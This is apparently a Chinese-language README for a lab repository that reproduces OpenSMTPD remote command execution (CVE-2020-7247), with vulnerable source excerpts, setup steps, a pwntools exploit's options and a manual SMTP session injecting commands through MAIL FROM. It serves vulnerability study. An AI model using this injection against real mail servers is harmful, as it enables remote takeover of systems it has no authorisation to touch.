本仓库旨在为在受控的私有环境中搭建并利用 CVE-2020-7247 提供基础。所有公开的代码和配置仅用于测试此漏洞,不得用于攻击不属于您自己或未经授权利用的系统。本仓库所有者不对第三方使用这些工具所造成的行为负责。
代码中的主要问题在于邮件验证无法正常工作。它允许在 MAIL FROM 和 RCPT TO 字段中传递潜在危险的字符。
然后,如果邮件地址的本地部分无效,它会被视为有效,因为代码将域名部分附加到它上面,并在之后将其解释为有效。这允许攻击者执行任意代码。
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191 const char *domain)
2192 {
....
2218 if (!valid_localpart(maddr->user) ||
2219 !valid_domainpart(maddr->domain)) {
....
2229 if (maddr->domain[0] == '\0') {
2230 (void)strlcpy(maddr->domain, domain,
2231 sizeof(maddr->domain));
2232 return (1);
2233 }
2234 return (0);
2235 }
2236
2237 return (1);
2238 }
为了安全起见,代码应如下所示:
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char **args,
2191 const char *domain)
2192 {
....
2218 if (!valid_localpart(maddr->user) ||
2219 !valid_domainpart(maddr->domain)) {
....
2234 return (0);
2235 }
2236
2237 return (1);
2238 }
Opensmtpd 随后会执行所谓的 MDA 命令。该命令用于投递邮件。它看起来如下:
asprintf(&dispatcher->u.local.command,
"/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}");
在这里你可能已经看到了问题。mbox.from 是发件人地址,完全由攻击者控制。
然而,攻击者只能使用 shellcode 中不在以下列表中的字符:!#$%&'*/?^{|}~+-=_!#$%&'*?{|}~
完整披露见此处
您可以自由选择运行该服务器的发行版。我在 Ubuntu 18.04 LTS 上进行了测试。
执行 chmod +x setup.sh 使安装脚本可执行。您可以使用普通用户运行它,因为我只在需要的地方在脚本中加入了 sudo 权限。(当然,您的用户必须是 sudoer)
安装脚本将为 smtpd 本身安装所有必需的依赖项,并将配置复制到相应的位置。
将安装 Opensmtpd 6.6.1。
如果您需要手动运行 openstmpd,或者脚本出现错误,请执行以下命令:
cd /usr/local/sbin
sudo smtpd
OR
sudo smtpd -dv for debugging output
本仓库中的配置仅用于本地测试。它们不包含外部域/高级配置。
aliases 和 smtpd.conf 是设置此服务器所需的两个配置文件。您可以根据需要自由更改它们。请记住,该配置是为我的测试服务器准备的。我的服务器名是 ase(smtpd.conf 中的 @ase 指令),我的用户名是 ase(aliases 用户配置)。
您必须将 smtpd.conf 中的 <YOUR IP> 替换为您服务器的 IP。否则 smtpd 将无法启动。
如果您在此环境中遇到任何 IP 地址和端口,以下是我所使用的环境的一些关键信息,以便您相应地进行更改:
asease192.168.1.4025192.168.1.311337提供的利用程序使用 Python 3.x。它依赖 pwn。要使用此漏洞利用程序,您需要使用 pip3 install pwntools 安装 pwntools。
基本上,该利用程序会自动利用漏洞,无需用户交互。不过,也可以不使用 python 脚本而手动完成利用。
如前所述,可以在不使用提供的 python 脚本的情况下执行利用程序。您需要手动完成 SMTP 流程。可以使用 netcat 或 telnet 来做到这一点。
以下是一个手动操作的示例:
telnet <Your Servers IP> 25
HELO attacker
250 ase Hello attacker [<client IP>], pleased to meet you
MAIL FROM:<;INSERT YOUR SHELLCODE HERE;>
250 2.0.0 Ok
RCPT TO:<root>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself
Oh no you got pwned
.
250 2.0.0 48bb34d2 Message accepted for delivery
您也可以使用提供的脚本。可用的参数如下:
--targetHost 指定目标,为必填项。--targetPort 指定目标端口,为必填项。--customCommand 指定要注入的命令。shellcode.py 作为远程 shell 代码外观的示例。 \
